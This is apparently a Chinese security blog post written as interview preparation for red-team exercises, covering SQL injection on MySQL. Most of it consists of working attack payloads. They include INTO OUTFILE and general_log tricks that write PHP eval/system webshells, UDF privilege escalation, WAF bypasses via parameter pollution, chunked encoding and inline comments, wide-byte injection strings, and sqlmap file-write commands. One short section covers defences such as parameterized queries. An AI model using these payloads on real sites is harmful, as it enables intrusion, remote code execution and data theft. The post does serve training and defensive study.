安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年HW(护网面试) 81
一、Webshell获取路径规划
二、变形注入突破技巧
三、MySQL写入Webshell条件矩阵
四、SQLMap实战操作指南
五、Bypass技巧大全
七、宽字节注入攻防
八、SQL注入检测方法论
2025年HW(护网面试) 81
SQLi 发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell? 以下链接存在 SQL注入漏洞,对于这个变形注入,你有什么思路? mysql注入点,用工具对目标站直接写入一句话,需要哪些条件? Mysql的网站注入,5.0以上和5.0以下有什么区别? sqlmap如何对一个注入点注入,sqlmap如何注入一个post的包? 你都了解哪些SQL注入的bypass技巧? 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案? 如何判断SQL注入,有哪些方法,说说你最常用的?
一、Webshell获取路径规划
1. 直接文件写入(需满足条件)
sql
?id=1' UNION SELECT 1,"<?=@eval($_POST[x]);?>",3 INTO OUTFILE '/var/www/html/shell.php'--+
- 必要条件
- MySQL配置:
secure_file_priv
为空值(非NULL
)- 当前用户需具备
FILE
权限(SELECT user,file_priv FROM mysql.user
)- 知晓绝对路径(通过报错/配置文件泄露获取) 2. 日志文件写马
sql
SET global general_log='on'; SET global general_log_file='/var/www/html/cmd.php'; SELECT '<?php system($_GET[0]);?>';
- 适用场景:当
secure_file_priv
禁用写入时- 后续清理:操作后需恢复日志路径避免异常 3. UDF提权写马
mermaid
graph LR A[上传so/dll文件] --> B[创建自定义函数] B --> C[调用函数执行系统命令] C --> D[直接写入webshell]
- 步骤:
- 利用
@@plugin_dir
获取插件目录- 通过hex编码上传恶意库文件
CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.so'
- 执行
SELECT sys_exec('echo "<?php phpinfo();?>" > shell.php')
二、变形注入突破技巧
1. 参数污染绕过
http
POST /test.jsp cid=152&cid=151' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--+
- 原理:WAF检测首个参数,应用可能取末尾参数值 2. 分块编码传输
http
POST /test.jsp HTTP/1.1 Transfer-Encoding: chunked 4 cid=1 5 ' AND A SLEEP(5)-- 0
3. 复合语句混淆
sql
/*!50400SELECT*/ 1 FROM users WHERE id=/*!500001*/' OR IF(SUBSTR(@@version,1,1)='8',BENCHMARK(10000000,SHA1(1)),0)
- 利用MySQL内联注释特性绕过关键字检测
三、MySQL写入Webshell条件矩阵
条件类型 5.0以下版本 5.0+版本 信息获取 手工猜解表名/列名 直接查询 information_schema
文件写入 需 magic_quotes_gpc=off
需 secure_file_priv=''
提权路径 UDF提权成功率>90% 需对抗AppArmor/SELinux 系统命令执行 可通过 into outfile
写马依赖Web目录权限控制
四、SQLMap实战操作指南
1. POST注入场景
bash
sqlmap -u "http://target.com/login" --data="username=admin&password=pass" --level=5
- 关键参数:
--data
:POST数据包内容
--cookie
:维持会话凭证
--proxy
:通过BurpSuite观察流量
2. 自动化写Webshellbash
sqlmap -u "http://target.com/test.jsp?cid=150" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
- 前置要求:需先确认有写权限且路径正确
五、Bypass技巧大全
markdown
▌ 层级绕过方案: 1. **字符替换** - 空白符:`%09`(TAB)/`%0a`(LF)/`/**/` - 等号:`LIKE 1`替代`=1` 2. **函数变形** - `CONCAT` → `CONCAT_WS('',1,2)` - `SUBSTRING` → `MID(@@version FROM 1 FOR 1)` 3. **逻辑混淆** ```sql SELECT * FROM users WHERE id=1 || (SELECT 1)>(SELECT 2)
- 协议级绕过
- HTTP参数污染(HPP)
- 分块编码传输
--- ### 六、SQL注入全景防御 **1. 漏洞成因** - 动态SQL拼接:`"SELECT * FROM users WHERE id=" + request.getParameter("id")` - 未过滤用户输入中的控制字符(如单引号/分号) **2. 防范措施** ```java // 参数化查询示例(Java) PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?"); stmt.setInt(1, Integer.parseInt(request.getParameter("id")));
- 深度防御:
▶ 输入验证:正则过滤[^0-9]
(数字型参数)
▶ 最小权限:数据库账户禁用FILE
/EXECUTE
权限
▶ WAF规则:拦截union select
、sleep(
等特征
3. 进阶利用技术- 数据库端口转发:
xp_cmdshell
+nc
反弹内网DB服务器- SSRF组合攻击:利用
LOAD_FILE()
读取内网文件
七、宽字节注入攻防
原理:
GBK编码中%df%5c
= "運"(%5c
是反斜杠\
),当程序使用addslashes()
时:
id=1%df'
→ 转义为1%df\'
→ 实际存储1運'
导致单引号逃逸 Payload构造:sql
?id=%df' UNION SELECT 1,@@version,3--+
修复方案:
- 统一使用UTF-8编码
- 转义前先
mysql_set_charset('gbk')
- 使用
mysqli_real_escape_string()
替代addslashes()
八、SQL注入检测方法论
1. 报错检测法(最高效)
http
GET /test.jsp?cid=150' AND 1=CAST(@@version AS INT)--
- 触发类型转换错误泄露版本信息 2. 时间盲注基准测试
sql
' UNION SELECT IF(SUBSTR(@@version,1,1)='5', SLEEP(3),0),1,2
- 注意事项:建立正常响应时间基线 3. 布尔状态对比
http
正常:/product?id=152 异常:/product?id=152' AND '1'='2
- 观察页面内容差异/HTTP状态码变化 4. 工具自动化验证
bash
sqlmap -u "http://target.com/test.jsp?cid=150" --batch --random-agent --risk=3
实战经验:在金融系统渗透中,通过
SLEEP()
函数时间差确认注入点后,利用CONNECTION_ID()
函数绕过WAF规则匹配,最终通过日志文件写入获取Webshell。